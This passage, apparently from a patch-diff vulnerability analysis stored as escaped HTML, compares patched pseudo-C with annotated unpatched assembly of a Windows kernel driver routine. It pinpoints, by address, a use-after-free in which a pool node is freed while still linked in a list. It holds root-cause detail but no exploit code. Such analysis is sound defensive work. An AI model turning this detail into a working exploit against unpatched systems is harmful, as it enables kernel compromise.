&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P_alloc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P_alloc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P_range&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P_range&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;dtor_0x1c0029e60&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// dtor; when feature enabled the node was never linked&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INSUFFICIENT_RESOURCES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// 3. FEATURE ENABLED: insert into list ONLY AFTER both allocs succeed&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_1859884346__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x650&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x648&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FailFast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x648&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x650&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// safe link&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Unpatched Sequence (The Bug)&lt;/h3&gt;
&lt;p&gt;The node is linked at &lt;code&gt;0x1c0014993&lt;/code&gt; (before any sub-array allocation). The sub-array allocations live in a cold block near &lt;code&gt;0x1c00211aa&lt;/code&gt;/&lt;code&gt;0x1c00211df&lt;/code&gt;; on failure control reaches &lt;code&gt;0x1c0021181&lt;/code&gt;, where &lt;code&gt;rbx&lt;/code&gt; is freed without being unlinked.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NODE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ALLOCATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0014922&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;A8h&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberOfBytes&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0014927&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12d&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NonPagedPoolNx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c001492a&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;66616956&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Viaf&amp;#39;&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0014930&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNCONDITIONAL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LINKED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LIST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INSERTION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;BEFORE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SUB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;ARRAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ALLOC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0014966&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+10h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="k"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0014986&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi+8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Blink&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x648&lt;/span&gt;
&lt;span class="mh"&gt;0x1c001498a&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;
&lt;span class="mh"&gt;0x1c001498d&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c002142b&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FailFast&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;corruption&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0014993&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;
&lt;span class="mh"&gt;0x1c001499f&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_tail&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LIST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00149a2&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi+8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Blink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SUB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;ARRAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ALLOCATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;AFTER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;insertion&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00211b0&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00211b7&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Via5&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;may&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fail&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00211ef&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Via5&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ERROR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;PATH&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;free&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;without&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unlink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0021411&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;free&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0021175&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;free&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0021181&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STILL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;THE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LIST&lt;/span&gt;
